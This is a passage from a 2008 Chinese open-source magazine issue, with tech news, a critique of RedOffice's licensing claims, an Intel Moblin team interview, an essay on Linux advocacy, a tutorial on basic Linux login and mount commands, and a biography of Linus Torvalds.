Cloud 操作系统的主界面就像一个 Google Chrome 浏览器,不过它仍然基于完整的 Linux 系统核


心。浏览器下方的标签栏列出了各种应用程序,包括多款 Google 应用以及 Skype、媒体播放器等等。
打开某个软件就像是在多页面浏览器中新开标签栏一样。最右边的的两个图标最为有趣,分别是


oss.linuxpk.com 2008 年第 12 期 37

开源社区
Windows 启动键和关机键。这样一来,NetBook 用户开机时可以首选使用 Cloud 系统中的简单应用,
而如果需要运行更复杂的程序则可以一键启动 Windows。

Cloud 系统首批支持英文、中文、日语和韩文。技嘉的触摸屏 NetBook 将首先搭载该系统,预计于


明年年初的 CES 展会上亮相。

新版 Opera Mini 支持 Android 平台


近日,Opera 发布了 Opera Mini 浏览器的 4.2 新版,虽然在说明中 Opera 介绍了不少关于
Opera 的改进点,但是更为关键的一点是,这是 Opera Mini 浏览器首次正式登录 Google Android
平台。

根据发布介绍,最新版本的 Opera Mini 4.2 版本速度上远超上一版本,速度获得优化的主因是,


Opera Mini 首先通过代理访问 Opera 的服务器,让服务器来“压缩”网页,并发送“减肥”后的代码
至手机。

另外,改进的视频流特性,已经可定制皮肤都是 Opera Mini 的改进特色之一。可以正常使用上一


版程序 Opera Mini 的手机用户完全可以升级至新版,而 Google Android 手机 G1 也被增加到支持列
表中。

实 际上 ,相 比 Opera Mini , 另一 款浏 览器 Opera Mobile 在功 能上 更加 强大 ,对 于强 大的


Android 平台来说,Opera Mobile 可能是最好的选择。有迹象表示,Opera 正在开发另一种版本的
Opera Mobile 以应对 Android 平台,不过在此之前,Android 平台可供选择的 Opera 浏览器仅有
Opera Mini。

集中点评红旗 2000 的 RedOffice


袁萌
记 得 2001 年 , 在 红 旗 2000 公 司 成 立 大 会 上 , 我 登 上 主 席 台 发 言 表 示 祝 贺 。 那 时 ,
OpenOffice.org 1.0 刚刚发布,我满怀希望,红旗 2000 能够沿着开源的方向前进。如今,8 年过去
了,情况怎样呢?

今年 9 月 20 日,我去北京邮电大学参加《世界软件自由日》活动,我在现场拿到一份红旗 2000 的
RedOffice 的 产 品 盘 ( 赠 送 版 ) , 在 产 品 袋 上 印 有 产 品 序 列 号 : ROG451533 - BVAPNORXD -


oss.linuxpk.com 2008 年第 12 期 38

开源社区
YPMIHELPD。这说明,该产品安装时,没有这个序列号是不行的。显然,这不是开源软件产品的常规做
法。客观地讲,这款产品运行起来(在我的计算机上),6 大模块的基本功能与 OpenOffice.org 大致
相同,这是无可否认的事实(注意:我天天使用的就是 OpenOffice.org 2.4.1)。

大家知道,现在的 OpenOffice.org 的总代码行数在 1,000 万行以上(其 1.0 版本的总代码行数


已 经 有 860 万 行 ) 。 基 于 其 上 的 RedOffice 的 修 改 量 ( 充 其 量 ) 不 足 15 % ( 指 占 原 有
OpenOffice.org 的 15%代码量)。根据“国产软件”的官方定义,在国内开发的程序代码行必须超
过相关产品总代码行的 50%方可称其为“国产软件”。很明显的事实是, RedOffice 根本称不上是“
国产软件”。

在红旗 2000 的官方网站上,自封 RedOffice 是国内首家“跨平台”的办公软件。这根本不符合客


观事实。无锡永中基于 Java 平台的集成 Office 才是名副其实的国内第一款跨平办公套件,这是历史事
实,不容否认。

大家知道,OpenOffice.org 完全遵守 LGPL 规则。此刻,我又把 LGPL v3.0(2007 年 6 月 29 日


发布)全文打印出来,仔细研读一番(以前读过不止一次了),以便思路清晰。简而言之,如修改 LGPL
代码(库)本身,则必须公开其修改代码;如(动态)调用 LGPL 代码(库),则不必公开调用程序的源
代码。这就是所谓的“宽松”(“Lesser”)之意。令人惋惜的是,在红旗 2000 官方网站上,压根儿
不提 LGPL 规则一事,那么,人们要问:RedOffice 从何而来?RedOffice 难道能够与无锡永中地地
道道的“国产”(具体地讲,“江苏省土产”)办公套件一比,可以与其相提并论?非也。

在这里,我要明确指出一点:如果红旗 2000 不能及早明确说明 RedOffice 与 OpenOffice.org


之间的实质性关联,继续自称“国产软件 ”,必将给我国政府软件采购带来很大的潜在风险。为此事,
我近日将与科技部知识产权中心杨林村主任约时间进行研讨,讨个明确说法。

( 说 明 : IBM 的 Symphony 办 公 套 件 和 SUN 的 StarOffice 9 办 公 套 件 都 是 基 于


OpenOffice.org 3.0 版本,这两家公司对此事实都向社会公众说得明明白白。而 RedOffice 搞得不
论不类,是个类似番茄花园的“修改版”,本身又死活不开源,岂非不是在忽悠某些政府官员?真气人
也。)


oss.linuxpk.com 2008 年第 12 期 39

开源社区

英特尔中国开源技术中心系列专访之一
——Moblin 中国团队

陈杰

英特尔中国开源技术中心 Moblin 团队成员

提到英特尔,一直以内,人们的惯性思维都是一家硬件公司,他们关注的是生成芯片、销售芯片,
而软件来自于不同领域,这和英特尔是毫不相干的事情。事实上,在软件领域,尤其是开源软件领域,
英特尔做出了很多的贡献,很明显的一组数据就是在英特尔中国,专门从事开源软件研发的就有 150 个
工程师左右,这些工程师做的每一件事情都与开源软件有关,并且都回馈与开源社区。《开源》杂志将
做一系列采访,一一介绍来自英特尔开源技术中心的不同团队,介绍他们所涉及的开源项目及从事的工
作。


oss.linuxpk.com 2008 年第 12 期 40

开源社区
《开源》:首先介绍一下你们内核团队的历史,目前负责哪些方面的研究?

Moblin Team:Moblin 中国团队成立于 2006 年 10 月,发展到现在已有十余名工程师,该团队参


与完成了 Moblin v1.0 的开发以及后期维护工作,目前正在进行 Moblin v2.0 的规划和开发工作。
工作内容包括针对 Atom 平台的 kernel/driver 的移植和集成,Helix/Gstreamer 多媒体框架以及
插件的开发和维护,Applications Framework 的开发和维护。

《开源》:请简单介绍一下项目的具体情况,以及目前的进展情况。

Moblin Team:Moblin 是为 Atom 优化设计的开源软件平台。Moblin 基于 Linux,保留了于 PC


架构的 Linux 的兼容,因而拥有丰富的社区资源,使得应用程序的开发和大量已有的应用程序的移植更
加简便。

Intel 希望籍由 Moblin 平台推广开放的 Mobile Device 操作系统,希望它能够造福于诸多厂商,


使得 MID,Netbook,车载设备相关厂商能利用 Moblin 快速开发基于 Atom 的产品,这包括操作系统
开发商,应用程序开发商,设备制造商等等。 同时,Moblin 是开源的,他是诸多 Moblin Device 的
开源项目中的一个,是对开源世界的重要的补充。Moblin v1.0 于 2007 年 8 月份发布以来,已经有数
家厂商参与合作,包括红旗,Ubuntu 和 Compaq 等。数款基于 Moblin 和 Atom 的产品已经上市,包括
联想和爱国者等等。随着今年 Moblin v2.0 的进一步开发,会出现更多的产品。

《开源》:从团队成立以内,取得了哪些突破性的成果,并简单介绍一下项目的远景规划。

Moblin Team:取得的一些进展主要包括以下几点:

● 针对 Atom 平台的驱动程序。我们已经将 Menlow 的支持加入到 Kernel2.6.26 中,正在整理针


对 Moorestown 的 Patch。

● 支持 Atom 平台硬件加速的多媒体播放。Helix/Gstreamer 多媒体框架中的缺陷修正,以及新


oss.linuxpk.com 2008 年第 12 期 41

开源社区
功能的实现,多媒体框架中的基于硬件加速的软件模块的实现。

● 针对小屏幕的界面。Hildon Framework 已经返回到 Ubuntu 社区,Bluetooth Profile 的


开 发 和 集 成 , 将 来 会 返 回 到 BlueZ 社 区 。 Audio Manager 的 开 发 和 集 成 , 可 能 会 用 到
PulseAudio 并贡献回社区。

Moblin 的远景规划:

➔ 更快,更省电,使得 Atom 的特性充分得到发挥,基于 Moblin 的解决方案续航能力更强,更快

速。

➔ 更便宜。缩减 Moblin 所需要的内存和硬盘空间。

➔ 更好看,更易用。在小屏幕的设备上充分应用 Atom 的运算能力,界面更好看(2.5D-3D),反应

更快,更容易使用。

➔ 更丰富。更完善的 SDK,Managed Runtime,核心应用程序等等。

2008-2010 Linux's Golden Age


ghosTM55
在 Linux 即将成年之际,迎来了最为关键的发展阶段,在桌面应用领域的日趋成熟与强大是其核心
动力。越来越多的普通用户开始听说并尝试着安装使用 Linux 操作系统。作为新人流动量较大的百度
Linux 吧的吧主,笔者深刻感受到了在中国要成为一名优秀的技术与开源思想“传教士”的责任之重大
与必要性。对于如何正确、有效的指引群众用户学习使用 Linux,跨进开源的大门,笔者有一些自己的
见解愿与大家分享。

一、个人修养与态度
很难想象一个自以为是,视新手问题如粪土的人能够为挖掘更多潜在的 Linux 用户作出贡献。笔者
看到过许多使用上 Linux 或者其它“稀奇”的操作系统后喜欢在 Windows 用户面前显摆的人,这样做
会直接使得普通用户反感 Linux 以及开源社区。抱着一个平和的心态去学习使用 Linux 以及各类技术,
才能在技术道路的修炼上有所建树,炫耀提供不了攀上技术顶峰的动力。

由于国内教育体制的问题,大部分人失去了主动学习、提问、解决问题的潜意识与能力。遇到任何
芝麻大小的问题,不经大脑思考直接提问的情况常有发生,这时,许多“前辈”都会对这样的问题嗤之
以鼻,不牺牲时间予以任何回答。个人的观点是,遇到这样的新手,若有时间应该尽可能地帮助他们学
会自己解决问题,也就是接下来要说的如何帮助新人解决问题。


oss.linuxpk.com 2008 年第 12 期 42

开源社区
二、如何帮助新手解决问题
“授之予鱼不如授之予渔”,我们的先人很早就知道了这样育人的道理,相比现在许多老师为学生
提供“答案在书上的第几页第几段第几句”这样的“便利”相比,不知道我们国人的教育是先进了还是
落后了。在帮助新人解决问题的时候,笔者见过太多差到极致的方法,其中的大部分都是主观性极强的
回答:

问 1:什么发行版本最好?

答 1:ubuntu!最适合新手!

答 2:Fedora,我的最爱!

答 3:gentoo,能让你真正的学到东西!

问 2:Linux 下能运行 Windows 下的程序吗?

答 1:白日做梦!

答 2:滚回 Windows 下去吧!

答 3:微软这个 XX,死也不会支持 Linux 的!

相信读者也能辨认出这样的回答的问题所在了,对了,那就是说了等于没说。回答问题与发表个人
观点是两码事,本着客观的视角以及严谨的学术态度去回答每一个问题不但可以得到他人的尊重,也能
为自己带来思想交流上的火花以及愉悦的心情。

《提问的智慧》是一篇极好的文档来供新人阅读,在提供新手的“愚蠢”的问题的解决方案之前,
建议他们学会提问前事先自己看下文档,看下 EricS.Raymond 的这篇经典著作以及如何使用 Google
是必要的。

三、个人对社区的贡献
光说不做还不够,作为拥有世界第一人口的中国,在开源社区的贡献太少了,浮躁的学习心态以及
“自己还没填铇肚子”的想法是罪魁祸首。笔者认为,能够潜心钻研技术,避免任何无聊的口水战是每
一位有修养的 Hacker 必备的态度。对社区的实质性贡献主要能够分为文档的翻译与纂写、自由软件的
开发、参与现有操作系统的开发。其中,文档方面的工作就目前而言最为重要,国内缺少稳定的高质量
的文档翻译与纂写组织。没有优秀的文档,新手在入门时就会感觉黑灯瞎火,找不到方向。

四、如何宣传?


oss.linuxpk.com 2008 年第 12 期 43

开源社区
最后一点也是最重要的一点,就是如果我们要向他人宣传开源的操作系统以及思想,该怎么做才有
效?其实,国内并不缺少技术方面优秀的入门文档,问题的关键是在于这些入门文档无法被需要看的新
手看到。这一直以来都是一个问题,在 20 世纪末 Linux 就已经在国内的技术圈子内流传了开来,过了
十年,Linux 的安装问题、系统并存问题、软件应用问题依旧是新手讨论的热点。这还是要回到之前所
说的三点:面对问题的态度、解决问题的方式与个人贡献。

最后需要指出的是,虽然 Linux 如今很火,但我们所关注并不应该只是 Linux,而是整个开源界的


发展。中国需要投入到开源的怀抱,积极的接受新的优秀的事物。开源对中国的信息化产业及产业链发
展将起着健康积极的作用。这三年的黄金发展阶段并不只是属于 Linux,更属于整个开源界。

后记:本文主要针对热心的 geek 与 hacker 所著,很少写这样“传教”性质的文章,希望本文没有


让你们打哈欠。

作者介绍:从 06 年开始接触 Linux,对 Linux 的基础应用与系统管理有一定的了解,使用的发行版本为


ArchLinux 与 CentOS。对网络安全、操作系统、人工智能等多个技术领域感兴趣,目前主攻操作系统,偏底
层。从十二期开始正式成为杂志的一名编辑,负责经验技巧栏目的文章纂写与选稿工作,欢迎大家投稿或者交流
技术问题,联系方式为 ghostm55@linuxpk.com。


oss.linuxpk.com 2008 年第 12 期 44

知识学堂

Linux 必学的安装登录命令
曹元其
不同 Linux 发行版的命令数量不一样,但 Linux 发行版本最少的命令也有 200 多个。这里笔者把
比较重要和使用频率最多的命令,按照它们在系统中的作用分成下面六个部分一一介绍。

◆ 安装和登录命令:login、shutdown、halt、reboot、install、mount、umount、chsh
、exit、last;

◆ 文件处理命令:file、mkdir、grep、dd、find、mv、ls、diff、cat、ln;

◆ 系统管理相关命令: df、top、free、quota、at、lp、adduser、groupadd、kill、
crontab;

◆ 网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、
finger、mail、 nslookup;

◆ 系统安全相关命令:passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、
who;

◆ 其它命令:tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。

本文以 Mandrake Linux 9.1(Kenrel 2.4.21)为例,介绍 Linux 下的安装和登录命令。

login
1.作用

login 的作用是登录系统,它的使用权限是所有用户。

2.格式

login [name][-p ][-h 主机名称]

3.主要参数

-p:通知 login 保持现在的环境参数。

-h:用来向远程登录的之间传输用户名。

如果选择用命令行模式登录 Linux 的话,那么看到的第一个 Linux 命令就是 login:。

一般界面是这样的:
Manddrake Linux release 9.1(Bamboo) for i586


oss.linuxpk.com 源 2008 年第 12 期 45
知识学堂
renrel 2.4.21-0.13mdk on i686 / tty1
localhost login:root
password:

上面代码中,第一行是 Linux 发行版本号,第二行是内核版本号和登录的虚拟控制台,我们


在第三行输入登录名,按“Enter”键在 Password 后输入账户密码,即可登录系统。出于
安全考虑,输入账户密码时字符不会在屏幕上回显,光标也不移动。

登录后会看到下面这个界面(以超级用户为例):
[root@localhost root]#
last login:Tue ,Nov 18 10:00:55 on vc/1

上面显示的是登录星期、月、日、时间和使用的虚拟控制台。

4.应用技巧

Linux 是一个真正的多用户操作系统,可以同时接受多个用户登录,还允许一个用户进行多
次登录。这是因为 Linux 和许多版本的 Unix 一样,提供了虚拟控制台的访问方式,允许用
户在同一时间从控制台(系统的控制台是与系统直接相连的监视器和键盘)进行多次登录。
每个虚拟控制台可以看作是一个独立的工作站,工作台之间可以切换。虚拟控制台的切换可
以通过按下 Alt 键和一个功能键来实现,通常使用 F1-F6 。

例如,用户登录后,按一下“Alt+F2”键,用户就可以看到上面出现的“login:”提示符,
说明用户看到了第二个虚拟控制台。然后只需按“Alt+F1”键,就可以回到第一个虚拟控制
台。 一个新安装的 Linux 系统允许用户使用“Alt+F1”到“Alt+F6”键来访问前六个虚拟
控制台。虚拟控制台最有用的是,当一个程序出错造成系统死锁时,可以切换到其它虚拟控
制台工作,关闭这个程序。

shutdown
1.作用

shutdown 命令的作用是关闭计算机,它的使用权限是超级用户。

2.格式

shutdown [-h][-i][-k][-m][-t]

3.重要参数

-t:在改变到其它运行级别之前,告诉 init 程序多久以后关机。

-k:并不真正关机,只是送警告信号给每位登录者。


oss.linuxpk.com 源 2008 年第 12 期 46
知识学堂
-h:关机后关闭电源。

-c:cancel current process 取消目前正在执行的关机程序。所以这个选项当然没有


时间参数,但是可以输入一个用来解释的讯息,而这信息将会送到每位使用者。

-F:在重启计算机时强迫 fsck。

-time:设定关机前的时间。

-m: 将系统改为单用户模式。

-i:关机时显示系统信息。

4.命令说明

shutdown 命令可以安全地将系统关机。有些用户会使用直接断掉电源的方式来关闭 Linux


系统,这是十分危险的。因为 Linux 与 Windows 不同,其后台运行着许多进程,所以强制
关机可能会导致进程的数据丢失,使系统处于不稳定的状态,甚至在有的系统中会损坏硬件
设备(硬盘)。在系统关机前使用 shutdown 命令,系统管理员会通知所有登录的用户系统
将要关闭,并且 login 指令会被冻结,即新的用户不能再登录。

halt
1.作用

halt 命令的作用是关闭系统,它的使用权限是超级用户。

2.格式

halt [-n] [-w] [-d] [-f] [-i] [-p]

3.主要参数说明

-n:防止 sync 系统调用,它用在用 fsck 修补根分区之后,以阻止内核用老版本的超级块


覆盖修补过的超级块。

-w:并不是真正的重启或关机,只是写 wtmp(/var/log/wtmp)纪录。

-f:没有调用 shutdown,而强制关机或重启。

-i:关机(或重启)前,关掉所有的网络接口。

-f:强迫关机,不呼叫 shutdown 这个指令。

-p: 当关机的时候顺便做关闭电源的动作。

-d:关闭系统,但不留下纪录。 


oss.linuxpk.com 源 2008 年第 12 期 47
知识学堂
4.命令说明

halt 就是调用 shutdown -h。halt 执行时,杀死应用进程,执行 sync(将存于 buffer


中的资料强制写入硬盘中)系统调用,文件系统写操作完成后就会停止内核。若系统的运行级
别为 0 或 6,则关闭系统;否则以 shutdown 指令(加上-h 参数)来取代。 
reboot

1.作用

reboot 命令的作用是重新启动计算机,它的使用权限是系统管理者。

2.格式

reboot [-n] [-w] [-d] [-f] [-i]

3.主要参数

-n: 在重开机前不做将记忆体资料写回硬盘的动作。

-w: 并不会真的重开机,只是把记录写到/var/log/wtmp 文件里。

-d: 不把记录写到/var/log/wtmp 文件里(-n 这个参数包含了-d)。

-i: 在重开机之前先把所有与网络相关的装置停止。

install
1.作用

install 命令的作用是安装或升级软件或备份数据,它的使用权限是所有用户。

2.格式

(1)install [选项]... 来源 目的地

(2)install [选项]... 来源... 目录

(3)install -d [选项]... 目录...

在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,
同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目
录。长选项必须用的参数在使用短选项时也是必须的。

3.主要参数

--backup[=CONTROL]:为每个已存在的目的地文件进行备份。

-b:类似 --backup,但不接受任何参数。


oss.linuxpk.com 源 2008 年第 12 期 48
知识学堂
-c:(此选项不作处理)。

-d,--directory:所有参数都作为目录处理,而且会创建指定目录的所有主目录。

-D:创建<目的地>前的所有主目录,然后将<来源>复制至 <目的地>;在第一种使用格式中
有用。

-g,--group=组:自行设定所属组,而不是进程目前的所属组。

-m,--mode=模式:自行设定权限模式 (像 chmod),而不是 rwxr-xr-x。

-o,--owner=所有者:自行设定所有者 (只适用于超级用户)。

-p,--preserve-timestamps:以<来源>文件的访问/修改时间作为相应的目的地文
件的时间属性。

-s,--strip:用 strip 命令删除 symbol table,只适用于第一及第二种使用格式。

-S,--suffix=后缀:自行指定备份文件的<后缀>。

-v,--verbose:处理每个文件/目录时印出名称。

--help:显示此帮助信息并离开。

--version:显示版本信息并离开。

mount
1.作用

mount 命令的作用是加载文件系统,它的用权限是超级用户或/etc/fstab 中允许的使用者。

2.格式

mount -a [-fv] [-t vfstype] [-n] [-rw] [-F] device dir

3.主要参数

-h:显示辅助信息。

-v:显示信息,通常和-f 用来除错。

-a:将/etc/fstab 中定义的所有文件系统挂上。

-F:这个命令通常和-a 一起使用,它会为每一个 mount 的动作产生一个行程负责执行。


在系统需要挂上大量 NFS 文件系统时可以加快加载的速度。

-f:通常用于除错。它会使 mount 不执行实际挂上的动作,而是模拟整个挂上的过程,通


oss.linuxpk.com 源 2008 年第 12 期 49
知识学堂
常会和-v 一起使用。

-t vfstype:显示被加载文件系统的类型。

-n:一般而言,mount 挂上后会在/etc/mtab 中写入一笔资料,在系统中没有可写入文件


系统的情况下,可以用这个选项取消这个动作。

4.应用技巧

在 Linux 和 Unix 系统上,所有文件都是作为一个大型树(以/为根)的一部分访问的。要


访问 CD-ROM 上的文件,需要将 CD-ROM 设备挂装在文件树中的某个挂装点。如果发行版安
装了自动挂装包,那么这个步骤可自动进行。在 Linux 中,如果要使用硬盘、光驱等储存设
备 ,就得先将它加载,当储存设备挂上了之后,就可以把它当成一个目录来访问。挂上一个
设备使用 mount 命令。 在使用 mount 这个指令时,至少要先知道下列三种信息:要加载对
象的文件系统类型、要加载对象的设备名称及要将设备加载到哪个目录下。

(1)Linux 可以识别的文件系统

◆ Windows 95/98 常用的 FAT 32 文件系统:vfat ;

◆ Win NT/2000 的文件系统:ntfs ;

◆ OS/2 用的文件系统:hpfs;

◆ Linux 用的文件系统:ext2、ext3;

◆ CD-ROM 光盘用的文件系统:iso9660。

虽然 vfat 是指 FAT 32 系统,但事实上它也兼容 FAT 16 的文件系统类型。

(2)确定设备的名称

在 Linux 中,设备名称通常都存在/dev 里。这些设备名称的命名都是有规则的,可以用“


推理”的方式把设备名称找出来。例如,/dev/hda1 这个 IDE 设备,hd 是 Hard Disk(硬
盘)的,sd 是 SCSI Device,fd 是 Floppy Device(或是 Floppy Disk?)。a 代表第一
个设备,通常 IDE 接口可以接上 4 个 IDE 设备(比如 4 块硬盘)。所以要识别 IDE 硬盘的方
法 分 别 就 是 hda 、 hdb 、 hdc 、 hdd 。 hda1 中 的 “ 1” 代 表 hda 的 第 一 个 硬 盘 分 区
(partition),hda2 代表 hda 的第二主分区,第一个逻辑分区从 hda5 开始,依此类推。
此外,可以直接检查/var/log/messages 文件,在该文件中可以找到计算机开机后系统已
辨认出来的设备代号。

(3)查找挂接点

在决定将设备挂接之前,先要查看一下计算机是不是有个/mnt 的空目录,该目录就是专门用


oss.linuxpk.com 源 2008 年第 12 期 50
知识学堂
来 当 作 挂 载 点 (Mount Point) 的 目 录 。 建 议 在 /mnt 里 建 几 个 /mnt/cdrom
、/mnt/floppy、/mnt/mo 等目录,当作目录的专用挂载点。举例而言,如要挂载下列 5
个设备,其执行指令可能如下 (假设都是 Linux 的 ext2 系统,如果是 Windows XX 请将
ext2 改成 vfat):

软盘 ===>mount -t ext2 /dev/fd0 /mnt/floppy

cdrom ===>mount -t iso9660 /dev/hdc /mnt/cdrom

SCSI cdrom ===>mount -t iso9660 /dev/sdb /mnt/scdrom

SCSI cdr ===>mount -t iso9660 /dev/sdc /mnt/scdr

不 过 目 前 大 多 数 较 新 的 Linux 发 行 版 本 ( 包 括 红 旗 Linux 、 中 软 Linux 、 Mandrake


Linux 等)都可以自动挂装文件系统。

umount
1.作用

umount 命令的作用是卸载一个文件系统,它的使用权限是超级用户或/etc/fstab 中允许


的使用者。

2.格式

unmount -a [-fFnrsvw] [-t vfstype] [-n] [-rw] [-F] device dir

3.使用说明

umount 命令是 mount 命令的逆操作,它的参数和使用方法和 mount 命令是一样的。Linux


挂装 CD-ROM 后,会锁定 CD—ROM,这样就不能用 CD-ROM 面板上的 Eject 按钮弹出它。但
是,当不再需要光盘时,如果已将/cdrom 作为符号链接,请使用 umount/cdrom 来卸装它。
仅当无用户正在使用光盘时,该命令才会成功。该命令包括了将带有当前工作目录当作该光
盘中的目录的终端窗口。

chsh
1.作用

chsh 命令的作用是更改使用者 shell 设定,它的使用权限是所有使用者。

2.格式

chsh [ -s ] [ -list] [ --help ] [ -v ] [ username ]

3.主要参数


oss.linuxpk.com 源 2008 年第 12 期 51
知识学堂
-l:显示系统所有 Shell 类型。

-v:显示 Shell 版本号。

4.应用技巧

前面介绍了 Linux 下有多种 Shell,一般缺省的是 Bash,如果想更换 Shell 类型可以使用


chsh 命令。先输入账户密码,然后输入新 Shell 类型,如果操作正确系统会显示“Shell
change”。其界面一般如下:
Changing fihanging shell for cao
Password:
New shell [/bin/bash]: /bin/tcsh

上面代码中,[ ]内是目前使用的 Shell。普通用户只能修改自己的 Shell,超级用户可以


修改全体用户的 Shell。要想查询系统提供哪些 Shell,可以使用 chsh -l 命令。

exit
1.作用

exit 命令的作用是退出系统,它的使用权限是所有用户。

2.格式
exit

3.参数

exit 命令没有参数,运行后退出系统进入登录界面。

last
1.作用

last 命令的作用是显示近期用户或终端的登录情况,它的使用权限是所有用户。通过 last


命令查看该程序的 log,管理员可以获知谁曾经或企图连接系统。

2.格式

1ast[—n][-f file][-t tty] [—h 节点][-I —IP][—1][-y][1D]

3.主要参数

-n:指定输出记录的条数。

-f file:指定用文件 file 作为查询用的 log 文件。

-t tty:只显示指定的虚拟控制台上登录情况。


oss.linuxpk.com 源 2008 年第 12 期 52
知识学堂
-h 节点:只显示指定的节点上的登录情况。

-i IP:只显示指定的 IP 上登录的情况。

-1:用 IP 来显示远端地址。

-y:显示记录的年、月、日。

-ID:知道查询的用户名。

-x:显示系统关闭、用户登录和退出的历史。

动手练习
上面介绍了 Linux 安装和登录命令,下面介绍几个实例,动手练习一下刚才讲过的命令。

1.一次运行多个命令

在一个命令行中可以执行多个命令,用分号将各个命令隔开即可,例如:

#last -x;halt

上面代码表示在显示系统关闭、用户登录和退出的历史后关闭计算机。

2.利用 mount 挂装文件系统访问 Windows 系统

许多 Linux 发行版本现在都可以自动加载 Vfat 分区来访问 Windows 系统,而 Red Hat 各个版本


都没有自动加载 Vfat 分区,因此还需要进行手工操作。

mount 可以将 Windows 分区作为 Linux 的一个“文件”挂接到 Linux 的一个空文件夹下,从而将


Windows 的分区和/mnt 这个目录联系起来。因此,只要访问这个文件夹就相当于访问该分区了。首先
要在/mnt 下建立 winc 文件夹,在命令提示符下输入下面命令:

#mount -t vfat /dev/hda1 /mnt/winc

即表示将 Windows 的 C 分区挂到 Liunx 的/mnt/winc 目录下。这时,在/mnt/winc 目录下就可


以看到 Windows 中 C 盘的内容了。使用类似的方法可以访问 Windows 系统的 D、E 盘。在 Linux 系统
显示 Windows 的分区一般顺序这样的:hda1 为 C 盘、hda5 为 D 盘、hda6 为 E 盘……以此类推。上述
方法可以查看 Windows 系统有一个很大的问题,就是 Windows 中的所有中文文件名或文件夹名全部显
示为问号“?”,而英文却可以正常显示。我们可以通过加入一些参数让它显示中文。还以上面的操作
为例,此时输入命令:

#mount -t vfat -o iocharset=cp936 /dev/hda1 /mnt/winc

现在它就可以正常显示中文了。


oss.linuxpk.com 源 2008 年第 12 期 53
知识学堂
3.使用 mount 加挂闪盘上的文件系统

在 Linux 下使用闪盘非常简单。Linux 对 USB 设备有很好的支持,当插入闪盘后,闪盘被识别为一


个 SCSI 盘,通常输入以下命令:

# mount /dev/sda1 /usb

就能够加挂闪盘上的文件系统。

Linux 的缔造者 Linus Torvalds


刘娜

一、外公的计算机奠定未来之路
Linus 于 1970 年 12 月 28 日出生于芬兰的首都赫尔辛基。Linus 说:“我孩提时代最幸福的记忆
就是玩我外公的一台老式电子计算机。”他的外公 Leo Waldemar Tornqvist 是赫尔辛基大学的一位


oss.linuxpk.com 源 2008 年第 12 期 54
知识学堂
统计学教授,可以说正是他外公的电子计算机奠定了他将来的计算机之路。

大概是在 1981 年,Linus 的外公抱回来一台崭新的 Commodore VIC-20 计算机。由于他已经在


那台老计算器上玩过好长一段时间,所以见到新的计算机时特别兴奋,并且迫不及待地想试一试。VIC-
20 是最早的家用计算机之一,它不需要自己组装,只须把它和电视连接上,打开便可开始工作,电视屏
幕的上方会显示出“已准备好”的字样,然后是一个一闪一闪的光标,等着操作员开始操作。

当时在个人计算机上没什么可做的事情,尤其是开发商业程序的条件并不具备,能做的惟一的事情
就是在它上面用 BASIC 语言编程序。

当赫尔辛基的孩子们都在和他们的父母在树林子里玩曲棍球和滑雪时,Linus 却在琢磨在计算机上
怎样工作。当时已经有一些程序能把人们可读的数码转换成计算机看得懂的 0 和 1,但他并不晓得有这样
的程序,于是他就开始用数字形式编写程序,然后再用手工进行转换。这就是用机器语言编程序。当对
一切细节都能够加以控制时,他就开始思索,如何能在更小的空间里让事情做得更快一些。就这样,12
岁、13 岁、14 岁过去了。其他孩子在外面踢足球的时候,Linus 却觉得外公的计算机越来越有意思。

二、探究计算机工作原理
当 Linus 对 VIC-20 玩得已经很精通后,便开始攒钱想买一台下一代的计算机。他利用积攒的一些
圣诞节和生日的压岁钱、打工赚来的钱、奖学金及从爸爸那里借来的钱,一共 2000 美元买了他的第二台
计算机——Sinclair QL。

Linus 使用了三年 Sinclair QL 计算机:从高中到赫尔辛基大学,再到芬兰部队服役。这三年中 ,


他尽情地遨游在别的孩子都不了解的计算机世界中,编写了一些可以提高计算机能力的小程序,如能够
快速显示内容的编辑器等,还翻版了一些小游戏。

“探究计算机工作原理的过程,是吸引我走进编程世界的最初原因。在这其中获得的最大的乐趣在
于我认识到了计算机科学与数学的类似,你必须从该体系自身的规则出发,推演出整个世界。在物理科
学中,你被客观规律所束缚。但是在数学和编程中,只要能合乎逻辑地推演就可以成立,思考数学问题
不会受到客观世界的逻辑限制。”Linus 这样说道。正是深入地研究计算机,才使他与计算机世界如此
有缘。

Linus 在赫尔辛基大学学习了一年之后,就到部队服兵役。当 Linus 从军队服役归来后,继续在赫


尔辛基大学学习。当时,大学刚刚为微型 VAX 计算机购买了 16 个客户执照,并运行 Unix 系统。Linus
对 Unix 产生了浓厚的兴趣。1991 年 1 月 2 日,他做出了一个重大的决定:准备购买一台价格 18000 芬
兰马克的计算机。但他没有这么多钱,所以打算首付三分之一,剩下的用赊账方式来付。他订了一台具
有 4MB 内存和 33MHz CPU 的机器。商店老板让他三天后去提货。Linus 后来回忆说说:“那三天就像
过了一个星期”。这台电脑有一个 DOS 操作系统,他想使用 Unix 的变体 Minix,所以订了货。然而这


oss.linuxpk.com 源 2008 年第 12 期 55
知识学堂
个操作系统需要等一个多月的时间才能到达芬兰,它的价格是 169 美元,还要加上税和其它费用。

此后,他就如获至宝一样研究 Minix。那时 Linus 还认识了 Richard Stallman,了解到了 GNU


、GPL 等概念。他还读了 Andrew S. Tanenbaum 写的《操作系统:设计和执行》。Linus 使用了一
段 Minix 后发现,这个系统的仿真终端做得不是很好,于是就自己动手编写终端仿真程序。这也是他深
入分析此类操作系统,以致后来能够写出 Linux 的重要一个因素。实际上,这也就是 Linus 创造
Linux 的开始。

三、Linux 操作系统闪亮登场

创造操作系统,就是去创造一个所有应用程序赖以运行的基础环境。从根本上来说,就是在制定规
则:什么可以接受,什么可以做,什么不可以做。事实上,所有的程序都是在制定规则,只不过操作系
统是在制定最根本的规则。

Linus 用他的终端仿真器(Terminal Emulator)经常登录到大学的计算机上,查阅电子邮件和


参加 Minix 讨论组。但是,他还想下载和上传东西,也就是必须能向磁盘里保存东西。为此,他又开始
编写磁盘驱动和文件系统驱动。Linus 没日没夜地伏在计算机前工作。外壳程序成功之后,他又开始检
验其中的内装程序。接着编了足够的新程序,用了 Minix 中所有有用的东西。当 Linus 把外壳程序移到
一个新的操作系统所建的特别区域中时,他开始把这个操作系统称为“Linux”。

